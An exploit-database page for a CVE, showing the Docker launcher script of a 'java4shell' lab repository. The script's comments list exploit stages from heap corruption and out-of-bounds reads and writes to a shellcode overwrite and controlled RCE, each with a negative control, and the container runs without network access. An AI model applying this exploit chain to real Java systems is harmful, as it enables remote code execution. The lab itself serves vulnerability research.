Exploit databaseDownload repository ZIP
GH-bada40abb71bfc562b58ac0bcde6f972
akshutgoyal/java4shell
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
akshutgoyal/java4shellRevision abf1b0afed5f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
run.sh
Suggested starting fileShell · 1,727 bytes#!/usr/bin/env bash
# Java4Shell lab launcher using plain Docker (no Compose required).
#
# ./run.sh # all stages
# ./run.sh trigger # bounded trigger
# ./run.sh control # -XX:-UseBASE64Intrinsics
# ./run.sh corrupt # heap corruption + OOB read
# ./run.sh leak # JavaBleed disclosure
# ./run.sh write # chosen-value OOB write
# ./run.sh chain # writer -> reader -> forged header -> repair + GC
# ./run.sh chain-control # same chain, intrinsic disabled (must fail)
# ./run.sh native # corrupted DirectByteBuffer -> native read/write
# ./run.sh codecache # Code Cache overwrite -> shellcode (exit 42)
# ./run.sh codecache-control # same chain, intrinsic disabled (must fail)
# ./run.sh rce # controlled RCE (separate stage)
# ./run.sh rce-control # negative control for rce
# ./run.sh --build all # force a rebuild first
#
# Environment:
# LAB_MODE=auto|native|sde (default auto)
# LAB_WARMUP=N (default 1000)
# LAB_RCE_CMD="..." command the RCE client asks the target to run
set -euo pipefail
cd "$(dirname "$0")"
IMAGE="${IMAGE:-java4shell-lab:local}"
BUILD=0
if [ "${1:-}" = "--build" ]; then
BUILD=1
shift
fi
TEST="${1:-all}"
if [ "$BUILD" = 1 ] || ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
docker build -t "$IMAGE" .
fi
exec docker run --rm \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
--network none \
--tmpfs /tmp:rw,nosuid,nodev,size=512m \
-e LAB_MODE="${LAB_MODE:-auto}" \
-e LAB_WARMUP="${LAB_WARMUP:-1000}" \
-e LAB_RCE_CMD="${LAB_RCE_CMD:-id; uname -a}" \
"$IMAGE" "$TEST"